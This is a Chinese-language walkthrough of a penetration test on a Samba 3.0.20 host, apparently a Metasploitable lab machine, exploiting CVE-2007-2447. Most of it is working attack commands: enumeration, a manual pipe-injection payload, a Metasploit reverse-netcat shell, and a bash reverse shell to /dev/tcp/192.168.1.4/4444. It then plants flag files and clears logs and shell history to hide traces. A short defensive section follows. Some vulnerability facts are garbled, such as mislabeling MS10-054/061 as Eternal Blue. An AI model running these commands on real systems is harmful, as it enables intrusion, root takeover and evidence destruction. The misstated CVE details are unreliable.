一、端口与服务基础认知
1. 端口核心信息
| 端口号 | 服务名称 | 协议类型 | 核心作用 |
|---|---|---|---|
| 139 | NetBIOS-SSN | TCP | 基于 NetBIOS 协议的文件 / 打印机共享,早期 Windows/Linux 文件共享核心端口 |
| 445 | Microsoft-DS | TCP | 替代 139 的 SMB 协议端口,直接基于 TCP 实现文件共享、打印机共享、IPC 通信等功能 |
2. Samba 服务核心
- 定义:Linux/Unix 系统下实现 SMB/CIFS 协议的开源软件,用于跨系统(Linux-Windows)文件 / 打印机共享。
- 常见版本:3.X(高危漏洞集中版本)、4.X(安全性提升)。
- 运行权限:通常以 root/root 等效权限运行,漏洞利用后易直接获取系统最高权限。
二、全闭环渗透测试流程
阶段 1:信息收集(被动 + 主动)
1. 基础端口扫描
bash
运行
# 快速扫描端口开放状态
nmap -p 139,445 192.168.1.5
# 精准扫描:端口+服务版本+操作系统+禁用ping
nmap -sV -Pn -p 139,445 -O 192.168.1.5
核心输出解读:
- 确认端口状态(open/closed/filtered);
- 识别服务版本(如 Samba 3.0.20-Debian);
- 初步判断操作系统(Unix/Linux/Windows)。
2. Samba 专项漏洞与信息枚举
bash
运行
# 一站式枚举:漏洞+系统信息+共享目录
nmap --script smb-vuln*,smb-os-discovery,smb-enum-shares -p 139,445 192.168.1.5
核心脚本解读:
| 脚本名称 | 作用 |
|---|---|
| smb-os-discovery | 探测目标 OS 类型、计算机名、域名、Samba 版本、系统时间 |
| smb-enum-shares | 枚举共享目录、共享权限(匿名访问 / 读写)、共享路径 |
| smb-vuln-* | 探测已知高危漏洞(如 MS10-054/061 永恒之蓝、CVE-2007-2447 等) |
3. 关键信息提取(以本次靶机为例)
- Samba 版本:3.0.20-Debian(存在 CVE-2007-2447 远程代码执行漏洞);
- 共享目录:
\\192.168.1.5\IPC$:匿名可读可写(IPC 管道,用于交互);\\192.168.1.5\tmp:匿名可读可写(磁盘目录,可上传 / 执行文件);
- 漏洞排除:无 MS10-054/061(永恒之蓝)漏洞,存在 CVE-2007-2447 高危漏洞。
阶段 2:漏洞探测与验证
1. 漏洞原理(CVE-2007-2447)
- 核心成因 :Samba 3.0.20 处理 "username map"(用户名映射)功能时,未对用户输入做严格过滤,允许将
|(管道符)后的内容作为系统命令执行; - 触发条件:Samba 服务开启、版本为 3.0.20 及以下、139/445 端口可访问。
2. 手动验证(非 Metasploit)
bash
运行
# 1. 测试匿名访问共享目录
smbclient \\\\192.168.1.5\\tmp -N # -N 跳过密码输入(匿名访问)
# 进入smb shell后,验证读写权限
smb: \> put /tmp/test.sh # 上传本地文件(验证写权限)
smb: \> ls # 查看目录文件(验证读权限)
smb: \> exit
# 2. 手动构造漏洞利用(执行系统命令)
python -c 'import socket; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.1.5",139)); s.send(b"USER map:|echo 'root' > /tmp/pwned\n"); s.close()'
# 验证命令执行结果(需后续shell确认)
阶段 3:漏洞利用(获取权限)
1. Metasploit 一键利用(高效方式)
bash
运行
# 1. 启动Metasploit
msfconsole
# 2. 搜索漏洞模块
search cve-2007-2447
# 3. 加载漏洞利用模块
use exploit/multi/samba/usermap_script
# 4. 配置攻击参数
set RHOSTS 192.168.1.5 # 目标IP
set RPORT 139 # 目标端口(139/445均可)
set PAYLOAD cmd/unix/reverse_netcat # 反向shell载荷(默认)
# 5. 执行攻击
run
核心结果:获取 root 权限的反向 shell(Metasploitable 靶机中 Samba 以 root 运行)。
2. 备用利用方式(共享目录上传脚本)
bash
运行
# 1. 准备恶意脚本(本地)
echo -e "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.4/4444 0>&1" > /tmp/shell.sh
chmod +x /tmp/shell.sh
# 2. 上传到靶机tmp共享
smbclient \\\\192.168.1.5\\tmp -N
smb: \> put /tmp/shell.sh
smb: \> exit
# 3. 本地监听端口
nc -lvnp 4444
# 4. 触发脚本执行(需其他方式,如计划任务/漏洞联动)
阶段 4:权限巩固与横向拓展
1. 系统信息收集(拿到 shell 后)
bash
运行
# 1. 基础系统信息
cat /etc/issue # 系统版本
uname -a # 内核版本
ifconfig # 网络配置
ps aux | grep samba # Samba进程状态
# 2. 敏感文件读取
cat /etc/samba/smb.conf # Samba配置文件(找用户/权限/共享)
cat /etc/passwd | grep -v nologin # 可登录用户
ls -la /root/ # root目录文件
2. 提权验证(靶机已 root,生产环境需补充)
- 若获取非 root 权限,可尝试:
- 利用 Samba 配置文件中的明文密码;
- 内核提权(结合 uname -a 结果找对应 exp);
- 利用其他服务(如 MySQL)联动提权。
阶段 5:插旗留证(渗透成果确认)
bash
运行
# 1. root目录核心旗帜(最高权限证明)
echo -e "🏴 渗透成功标识 🏴\n渗透者:HackePts\n渗透时间:$(date)\n目标IP:$(hostname -I)\n获取权限:$(whoami)\n漏洞利用:CVE-2007-2447(Samba 3.0.20)" > /root/HackePts_FLAG.txt
cat /root/HackePts_FLAG.txt # 验证创建
# 2. Web目录旗帜(直观可访问)
echo -e "<h1>🏴 HackePts PWNED 🏴</h1>\n<p>时间:$(date)</p>\n<p>权限:$(whoami)</p>\n<p>漏洞:CVE-2007-2447</p>" > /var/www/html/HackePts_FLAG.html
# 3. 数据库旗帜(可选,联动MySQL)
mysql -u root -e "CREATE DATABASE HackePts_PWNED; USE HackePts_PWNED; CREATE TABLE flag (content TEXT); INSERT INTO flag VALUES ('Samba渗透成功,时间:$(date),权限:root');"
阶段 6:痕迹清理(模拟真实渗透)
bash
运行
# 1. 清除shell历史命令
history -c
rm -rf ~/.bash_history /root/.bash_history
# 2. 清空系统日志
echo "" > /var/log/auth.log # 认证日志(Samba/SSH登录)
echo "" > /var/log/syslog # 系统核心日志
echo "" > /var/log/samba/log.smbd # Samba专属日志
# 3. 退出shell并断开连接
exit
阶段 7:复盘与防御建议
1. 漏洞成因总结
- 版本漏洞:Samba 3.0.20 未过滤用户输入,允许管道符执行系统命令;
- 配置漏洞:匿名用户可读写共享目录(tmp/IPC$),降低攻击门槛;
- 权限漏洞:Samba 以 root 运行,漏洞利用后直接获取最高权限。
2. 防御措施
- 版本升级:升级至 Samba 4.10 + 稳定版本,修复历史高危漏洞;
- 权限控制 :
- 禁用匿名访问:在 smb.conf 中设置
guest ok = no; - 限制共享目录权限:tmp 共享设置为只读,或仅允许指定用户访问;
- 降低 Samba 运行权限:创建专用低权限用户运行 smbd 进程;
- 禁用匿名访问:在 smb.conf 中设置
- 端口防护 :
- 仅对内网开放 139/445 端口,外网禁止访问;
- 配置防火墙(iptables/ufw)限制访问 IP;
- 日志监控:开启 Samba 详细日志,监控异常访问 / 命令执行行为。
三、核心知识点复盘
1. 关键漏洞
| 漏洞编号 | 影响版本 | 危害等级 | 利用方式 |
|---|---|---|---|
| CVE-2007-2447 | Samba 3.0.20-25 | 高危 | 用户名映射功能 RCE,直接拿 shell |
| MS17-010(永恒之蓝) | Samba/Windows SMB | 高危 | 远程代码执行,需特定版本 / 配置 |
| CVE-2017-7494 | Samba 3.5.0-4.6.4/4.7.0-4.7.2 | 高危 | 共享目录文件上传 + 代码执行 |
2. 核心命令速查
| 用途 | 命令 |
|---|---|
| Samba 版本扫描 | nmap -sV -p 139,445 目标 IP |
| 共享目录枚举 | nmap --script smb-enum-shares -p 139,445 目标 IP |
| 匿名访问测试 | smbclient \\ 目标 IP\ 共享名 -N |
| Metasploit 利用 | use exploit/multi/samba/usermap_script → set RHOSTS → run |
| 痕迹清理 | history -c && echo "" > /var/log/auth.log |
四、全流程闭环梳理

信息收集:端口扫描+版本枚举+共享目录识别
漏洞探测:验证CVE-2007-2447存在性
漏洞利用:Metasploit/手动构造获取root shell
权限巩固:系统信息收集+敏感文件读取
插旗留证:多位置创建渗透标识文件
痕迹清理:清除历史+日志
复盘防御:总结漏洞成因+制定防护措施
flowchart TD
A[信息收集:端口扫描+版本枚举+共享目录识别] --> B[漏洞探测:验证CVE-2007-2447存在性]
B --> C[漏洞利用:Metasploit/手动构造获取root shell]
C --> D[权限巩固:系统信息收集+敏感文件读取]
D --> E[插旗留证:多位置创建渗透标识文件]
E --> F[痕迹清理:清除历史+日志]
F --> G[复盘防御:总结漏洞成因+制定防护措施]
核心闭环要点:从 "信息收集→漏洞利用→权限控制→留证→清理→防御" 全流程覆盖,既完成渗透测试目标,又形成 "攻击 - 防御" 的完整思维闭环,符合实战渗透测试的核心逻辑。